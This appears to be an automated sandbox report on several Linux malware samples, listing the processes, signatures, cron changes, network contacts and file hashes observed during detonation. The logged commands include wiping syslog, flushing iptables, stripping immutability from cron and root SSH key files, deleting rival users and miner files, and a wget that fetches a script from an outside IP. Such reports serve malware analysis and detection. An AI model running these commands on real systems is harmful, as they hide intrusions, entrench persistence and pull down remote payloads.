File opened for reading /proc/112 /bin/ls N/A
File opened for reading /proc/18 /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/filesystems /usr/bin/sudo N/A
File opened for reading /proc/170 /bin/ls N/A
File opened for reading /proc/19 /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/15 /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/1 /bin/ls N/A
File opened for reading /proc/113 /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/149 /bin/ls N/A
File opened for reading /proc/23 /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/110 /bin/ls N/A

System Network Configuration Discovery

discovery
Description Indicator Process Target
N/A N/A /tmp/script_malware/1.sh N/A

Writes file to tmp directory

Description Indicator Process Target
File opened for modification /tmp/log_rot /tmp/script_malware/1.sh N/A

Processes

/tmp/script_malware/1.sh

[/tmp/script_malware/1.sh]

/bin/rm

[rm -rf /var/log/syslog]

/usr/bin/chattr

[chattr -iua /tmp/]

/usr/bin/chattr

[chattr -iua /var/tmp/]

/usr/bin/chattr

[chattr -R -i /var/spool/cron]

/usr/bin/chattr

[chattr -i /etc/crontab]

/sbin/iptables

[iptables -F]

/usr/bin/sudo

[sudo sysctl kernel.nmi_watchdog=0]

/usr/sbin/userdel

[userdel akay]

/usr/sbin/userdel

[userdel vfinder]

/usr/bin/chattr

[chattr -iae /root/.ssh/]

/usr/bin/chattr

[chattr -iae /root/.ssh/authorized_keys]

/bin/rm

[rm -rf /tmp/addres*]

/bin/rm

[rm -rf /tmp/walle*]

/bin/rm

[rm -rf /tmp/keys]

/bin/ls

[ls -latrh /proc/1]

/bin/grep

[grep exe]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/10]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/103]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/11]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/ls

[ls -latrh /proc/110]

/bin/grep

[grep exe]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/ls

[ls -latrh /proc/112]

/bin/grep

[grep exe]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/113]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/12]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/13]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/138]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/14]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/142]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/ls

[ls -latrh /proc/149]

/bin/grep

[grep exe]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/15]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/152]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/16]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/161]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/17]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/170]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/18]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/19]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/2]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/20]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/21]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/22]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/223]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/23]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/24]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

Network

N/A

Files

/tmp/log_rot

MD5 727479ef7cedf30c03459bec7d87b0f0
SHA1 2082e7f715f058acab2398d25d135cf5f4c0ce41
SHA256 29872037c9573567744ef10ed2de57864ded7554c9fa2ef03fc1244c65794ba6
SHA512 4cb59d37f8481f9bb2745f494baa0910a68aad40ac2903ef1513547e091e1e772a5f9436f789ab91fcafb75b8a28c2112ede89004be41f33c01d936b542ca6ba

memory/837-1-0xb6ba8000-0xb6bb9044-memory.dmp

Analysis: behavioral14

Detonation Overview

Submitted

2024-12-06 14:06

Reported

2024-12-06 14:09

Platform

ubuntu2204-amd64-20240729-en

Max time kernel

0s

Max time network

129s

Command Line

[/tmp/script_malware/21162bbd796ad2bf9954265276bfebea8741596e8fe9d86070245d9b5f9db6da.elf]

Signatures

System Network Configuration Discovery

discovery
Description Indicator Process Target
N/A N/A /tmp/script_malware/21162bbd796ad2bf9954265276bfebea8741596e8fe9d86070245d9b5f9db6da.elf N/A

Processes

/tmp/script_malware/21162bbd796ad2bf9954265276bfebea8741596e8fe9d86070245d9b5f9db6da.elf

[/tmp/script_malware/21162bbd796ad2bf9954265276bfebea8741596e8fe9d86070245d9b5f9db6da.elf]

Network

Country Destination Domain Proto
N/A 224.0.0.251:5353 udp

Files

N/A

Analysis: behavioral16

Detonation Overview

Submitted

2024-12-06 14:06

Reported

2024-12-06 14:09

Platform

debian9-armhf-20240611-en

Max time kernel

134s

Max time network

166s

Command Line

[/tmp/script_malware/23.sh]

Signatures

System Network Configuration Discovery

discovery
Description Indicator Process Target
N/A N/A /tmp/script_malware/23.sh N/A
N/A N/A /usr/bin/wget N/A

Processes

/tmp/script_malware/23.sh

[/tmp/script_malware/23.sh]

/usr/bin/wget

[wget http://182.52.51.239/scripts/23s]

Network

Country Destination Domain Proto
TH 182.52.51.239:80 tcp
TH 182.52.51.239:80 tcp

Files

N/A

Analysis: behavioral17

Detonation Overview

Submitted

2024-12-06 14:06

Reported

2024-12-06 14:09

Platform

debian9-mipsbe-20240611-en

Max time kernel

133s

Max time network

161s

Command Line

[/tmp/script_malware/23.sh]

Signatures

System Network Configuration Discovery

discovery
Description Indicator Process Target
N/A N/A /tmp/script_malware/23.sh N/A
N/A N/A /usr/bin/wget N/A

Processes

/tmp/script_malware/23.sh

[/tmp/script_malware/23.sh]

/usr/bin/wget

[wget http://182.52.51.239/scripts/23s]

Network

Country Destination Domain Proto
TH 182.52.51.239:80 tcp
TH 182.52.51.239:80 tcp

Files

N/A

Analysis: behavioral28

Detonation Overview

Submitted

2024-12-06 14:06

Reported

2024-12-06 14:10

Platform

debian9-mipsel-20240611-en

Max time kernel

150s

Max time network

13s

Command Line

[/tmp/script_malware/8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh]

Signatures

Flushes firewall rules

defense_evasion
Description Indicator Process Target
N/A N/A /sbin/iptables N/A

Abuse Elevation Control Mechanism: Sudo and Sudo Caching

privilege_escalation defense_evasion
Description Indicator Process Target
N/A N/A /usr/bin/sudo N/A

Attempts to change immutable files

Description Indicator Process Target
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/chattr N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /bin/sed N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /bin/sed N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A N/A N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /bin/sed N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/chattr N/A
N/A N/A /bin/sed N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A N/A N/A
N/A N/A /usr/bin/chattr N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A N/A N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A

Creates/modifies Cron job

execution persistence privilege_escalatio
Description Indicator Process Target
File opened for modification /var/spool/cron/crontabs/tmp.6wwIWt /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.kDvZ2b /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.CdQAOp /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.XqWEsU /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.RMZ6Od /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.yH9oSx /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.34k4F1 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.Zttd3O /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.N2MZbW /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.jfkgje /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.QklsVx /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.g3VW9c /usr/bin/crontab N/A

Enumerates running processes

Reads CPU attributes

discovery
Description Indicator Process Target
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/sbin/exim4 N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
